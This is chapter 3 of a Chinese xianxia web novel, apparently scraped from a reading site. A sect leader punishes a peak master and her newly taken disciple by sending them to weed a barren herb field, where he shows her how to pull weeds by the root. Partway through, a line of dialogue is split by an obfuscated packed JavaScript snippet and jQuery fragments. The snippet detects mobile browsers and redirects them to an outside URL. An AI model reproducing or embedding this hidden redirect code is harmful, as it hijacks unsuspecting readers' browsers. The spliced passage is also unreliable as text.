默认冷灰
24号文字
方正启体

3. 为什么选我

作者:制芰荷本书字数:K更新时间:
    道生宗分八峰,其中七副峰分别主剑阵医符器丹兽,团团簇着最中间的道生峰,也就是道生宗的主心骨。


    在殷吟带着头脑发热收的新弟子抵达道生峰时,也是她第一次看到道生主殿,不是金碧辉煌的宫廷风格,也没有仙风道骨的派头,更像是一座古朴的苏州园林,有山有水。


    如画卷一般绮丽的奇景展开在主峰之上,其间鸟兽穿行,鸣声不绝。


    殷吟连连暗叹,目不暇接之余终于想起后面的上官今,回首朝他眨了眨眼睛:“别害怕。”


    上官今目不斜视地走着路,面上不见神色,看着殷吟剔透的目光,乖巧地点了点头。


    最前面的卜漪发出简短的评价:“又不是要拿他入药。”


    殷吟沉默:“……”


    “她们回来了!”


    次第过着阴晴圆缺的月形拱门,就听到有人在高声叫嚷,虽然语气听起来不甚成熟,但应该也是个修为高深的峰主。


    拱门之后是一方厅院,高山流水的飘渺背景前整齐地围了圈呈“冂”形的交椅,最中心是位白发苍苍的老者在坐,约摸就是他们宗主。宗主的右手边是一个慈眉善目的中年叔叔,看起来很能吃。


    殷吟觉得刚才那一声就是他发出来的。


    本着伸手不打笑脸人的原则,她一一微笑着点头致意。


    “人来了。”卜漪卸货一般地撇下她们,入座左边。


    老者点点头,似乎很满意卜漪的效率,眼睛笑成了月牙,泛出一圈一圈的深厚皱纹。


    这种笑让殷吟很不舒服,她总感觉像是动物世界里毛色艳丽的老狐狸,狡诈多心。


    但老者的声音很是仁慈,招孙女一样唤殷吟上前:“小吟啊,来。”


    殷吟默了一瞬,最终选择留在原地发问:“宗主,找我可是有什么事情?”


    领导突然招两个人来就只有两个可能,一个是两个一起骂,一个是杀鸡儆猴。现在看,自己应该是猴。


    老者见她不动,笑容如旧:“今天是新弟子开课第一天,听说你早上就收了个弟子?”


    殷吟点点头,暗叹宗主消息这么灵通:“刚收。”


    消息灵通八成是有人去告状。


    老者循循善诱,目光若有若无地飘到殷吟身后去:“你是先赶了端稚,然后去拿天地签,又收了他做弟子?”


    殷吟后退一步挡了挡,神色无辜:“早上那个弟子行为无状,我正要处罚招他进来的人。”


    她背在身后的双手指节舒展开来,上官今看着,琢磨着是不是有什么含义。


    宗主见殷吟不肯松口,看她的目光带上几分朽木难雕的意味:“人非圣贤,孰能无过?小吟啊,有些事情点到为止就好。”


    殷吟默不作声。


    要说罚她一意孤行动用天地签,她认,但是让她去给那个没礼貌的后台小孩赔礼道歉再恭恭敬敬请回剑峰,门把都没有。


    见二人僵持,一旁陶砌笑眯眯地出来打圆场:“诶呀,小殷也不是故意的,把那个端稚招回来,也给个峰主弟子安抚安抚就行了嘛,不是大事。”


    “至于这位弟子……”他的声音响起,众人仿佛才想起此处有个上官今,形形色色的目光迟缓地聚集在少年身上。


    “既已收为弟子,那自然有小殷的考量,宗主就随她吧。”


    殷吟眉心微蹙,虽然这位峰主话里话外是替她开解的意思,但她总觉得有处逻辑不大对。


    但上官今听着这暗暗给他扣帽子的话,终于眉头轻挑,将视线从殷吟的双手上抽离开去。


    没什么深意,就是殷吟的站姿习惯。


    在众人各怀心思的片刻沉默之中,安静许久的卜漪沉声:“器峰平日就是这么处理事情的?难怪每年宗内大比都落在后面。”


    陶砌闻言神色骤青,暗自攥了攥拳。


    身为器峰峰主,每年宗内大比排名都落在倒数第三,甚至远在手无缚鸡之力的医峰后面,一直是他的心病。


    “吵起来吵起来!”沙哑的声音此时突然响起,殷吟才发现陶砌旁边的位置上伏了一只黑壳乌龟,看起来老气横秋。


    这个殷吟能在基础知识里对得上号,是兽峰的峰主。


    陶砌呵他:“闭嘴!你们兽峰不也是年年排在最后!还不如我呢!”


    “嘻嘻……”


    “好了好了,”老者看着这鸡飞狗跳的场面,一时头疼,揉着太阳穴飞快地想下最后通牒,“端稚和上官都年幼,稍加管教小惩大诫,这件事就罢了。”


    殷吟不服:“如果要罚,我也责无旁贷。”


    卜漪凉凉斜她:“我看也是,殷峰主私自动用天地签,违反宗内条例,这师徒二人都得罚。”


    这句话直直浇了气势汹汹的殷吟一头凉水,她不免冷静几分,奇怪地看过去。


    卜漪怎么突然要掺一脚?


    “那你觉得,罚什么好?”老者无奈。


    “医峰后山有一块地一直荒废,腾不出去人手去处理,”卜漪义正言辞地略过殷吟探寻的目光,仿佛这块地和她一点关系都没有,“临近药草新下土的时间,既然正好,不如就让她们去把地理出来。”


    老者略一思索,点头赞许:“也好,既然这里有四位峰主,那就做个见证,此事就这么办。”


    殷吟脑中直发问号,还未反应,下一秒只觉一阵天旋地转,面前的园林奇景已然被广袤无垠的荒芜草地取代。


    她心下一惊,连忙回头,看到熟悉的上官今的身影时微微松了口气。


    还好宗主记得把上官今给她捎上,没弄丢。


    作为一峰之主,殷吟的神识已经能布满几乎整个山头,粗略一感,她就知道卜漪还真的没有留情,这片废地的占地面积大概得有百来个四百米操场大。


    上官今无声无息地走上来:“峰主,我们从哪里开始?”


    按卜漪所说,她们要把这个地方的杂草全都清理干净。而上官今居然比殷吟这个惹祸的接受程度更佳。


    殷吟神情倏地认真起来,托着下巴细细打量着他,看得上官今也略感奇怪地看向自己。


    而后殷吟温声:“这件事归根结底是我的责任,我来就行了,你随便找地方歇会儿吧。”


    就算不提是她的原因,上官今这幅弱柳扶风的模样,殷吟便从心里不想也不敢让他来帮忙干体力活。


    上官今想也没想地拒绝:“不用。”


    “去休息吧,”殷吟将袖子卷到手肘,而后拍拍他的肩,“我很快就能弄好的。”


    上官今目光在肩上停了一瞬,没有再说什么,转身往远处走。


    殷吟觉得他是默认,乖乖找地方休息去了。


    她朝着上官今的背影点头以表赞赏,又抱着裙摆蹲下来,准备就地试试怎么拔草方便些。


    上官今还未走远。


    既然殷吟不希望他在她眼底下帮忙,那他走远一点,到她看不到的地方去除草就是了。


    但他还没能够走出几步路,身后就忽地传来了奇怪的声音。


    “啊!”


    他觉得古怪,但还是循声往回走。不一会儿就看到蹲着的殷吟像躲怪物一样把自己的右手伸远远的。


    上官今内心隐隐升起一个荒谬又合理的原因,他敛了敛神色,收拢衣摆蹲下来问:“峰主,怎么了?”


    “那那那!”殷吟紧紧拧着眉,她口中说方向,但整张小脸都扭着不见人,让他猜都不知从何下手猜起。


    她伸出去的手一直在晃,怕极了的模样,抖得上官今眼里看不太清。


    “哪里?”上官今试着伸手,堪堪停在她纤细的手腕旁。他顿了两息,见殷吟没有叫停,便轻巧地捏住了她的手腕。


    不知道是不是他的动作起了作用,殷吟稍稍冷静下来,扭到一边的头终于肯抬眼看他。只是耳边的发丝被不注意拂到眼前,她的视线明明暗暗。


    上官今偏开目光,又问道:“怎么了?”


    殷吟小声:“……有虫子。”


    被自己刚收的弟子抓包到害怕虫子,实在是有些丢人。


    上官今将她的手拉近过来,终于在殷吟僵硬的神色下找到攀在食指和中指之间的一只金龟。他看了一眼,随手捏下来放生到草丛中去:“好了。”


    “谢谢啊。”殷吟后怕地甩了甩手,看着那只金龟扭了几步便消失不见,颇为意外地将目光转到上官今身上。


    没想到未完成版的魔王还是个不怕虫的热心肠,挺招人喜欢的。


    “不客


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179670|196959||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    气,”上官今垂睫,落到地上的视线无处安放,终于寻到一株蔫了吧唧的绿草,伸手在上面点了点。


    殷吟疑惑:“怎么了?”


    上官今轻轻瞥她一眼:“拔草不能这么拔的。”


    “……那该怎么拔,你教我。”虽然不知道话题是怎么转到这里来的,但魔王愿意开口,殷吟也乐得听讲。


    最怕的就是不说话又全是小心思的任务对象了!


    只是上官今又没有说话了。他双手将那株被摧残得七零八落的杂草梳拢,然后收在掌心,左右摇了摇,觉着底下的土层松动了,便将它连根提起来。


    盘根错节的根茎带着泥,在阳光下泛出潮湿的光。


    上官今轻声:“像这样。”


    殷吟被青草的味道呛到,咳着泪不忘演一出眼睛发亮:“天呐,你这么厉害!”


    适当给予鼓励,有助于培养魔王的爱世心理。


    上官今垂眸,看着手中纤细易折的草茎微微出神:“小时候收养我的叔叔是在村里开药铺的,他经常带我上山拔药草,偶尔也会除除庭院的杂草。”


    殷吟崇敬的神情一顿。


    这句话的信息量太大,她没想到上官今这么轻松就说出来自己的往事,看着上官今细细抖着根上的湿土,一时不知道接什么好。


    直至上官今把土抖干净,她勉强找回自己的声音:“我来试试。”


    殷吟摩拳擦掌,试图盖过上一个话题。她左看右看,特地找了一株长势颓唐的小草,准备实践一番。


    她用食指挑了挑叶片,确定上面没附着什么小虫子,而后一把握住,按刚才上官今所做的如法炮制。


    噔的一声,殷吟顺利地将它扯了出来。


    她颇为满意地摊开手心,小草在掌中安静地躺着。


    上官今没忍住笑了出来。


    他笑的声音很轻,哼的一声,修长的眉连同不加雕琢的眼尾微微弯起来,像是流水在山涧之间换了道,潺潺而行。


    “什么意思?”殷吟第一次在他面上看到这种反应,有些不解。


    上官今霎时反应,将笑容敛起:“对不起。但若是这么拔的话,过两天土里的根就又要长出新草来了。”


    殷吟闻言低头,她的视线穿过几片残叶遮挡,果然瞥到地表还残留着一截短茎,仿佛深深扎进地下,黑不见底。


    “小草用两个手指捏住,提起来就好。”


    上官今正色,又将如何拔出小草的方法展示一遍。


    殷吟恍然大悟一般点点头。


    广阔无边的废弃药田,对一般弟子或许算得上是巨大的挑战。但殷吟不同,她有剑峰峰主的化神境修为,灵池深不见底无穷无尽。


    她不仅不会因为反复蹲起而觉得累,在掌握好关窍后还能慢慢地用上灵力来辅助自己,将这个地方当作学习如何运用灵力的训练场。


    在殷吟的操纵之下,一块块正方形的杂草块被无形又不容反驳的灵力催动着连根而起,自发整齐地抖净根上沃土,而后排着队飞进一旁早已堆成小山高的杂草堆中。


    一遍又一遍,直至殷吟觉得浑身灵力慢慢从虚浮的空中楼阁变成了实体时,最后一块区域也整理妥帖。


    她长舒一口气,方睁开双眼,便看到了令自己疑惑的一幕。


    “你怎么弄成这样了?”


    上官今不知道什么时候把自己弄出了一身的土,灰头土脸地正在扫着黏在衣服上的湿土,虽然效果不尽人意。


    他的目光和殷吟接触,而后不知所措一般地摇头。不知是不是她看错了,总觉着上官今的神色有几分复杂。


    日头已经落到山下,傍晚凉风习习,混着草根和泥土的潮湿味道,广袤的天空全是沉沉的靛蓝色,空旷寂寥之余,更衬人渺小如蜉蝣。


    殷吟席地而坐,见上官今走近,拍拍一旁的地面示意他也坐下。


    上官今还在拉扯身上的泥垢,本想回绝,但开口的动作微顿,最终还是不远不近地在殷吟旁边坐下。


    气氛不错,作为合格的任务者,殷吟觉得自己得说点什么,潜移默化在上官今的心里种下善良的种子。


    只是她还没想到用什么开场,上官今就先出了声。


    “为什么选我?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)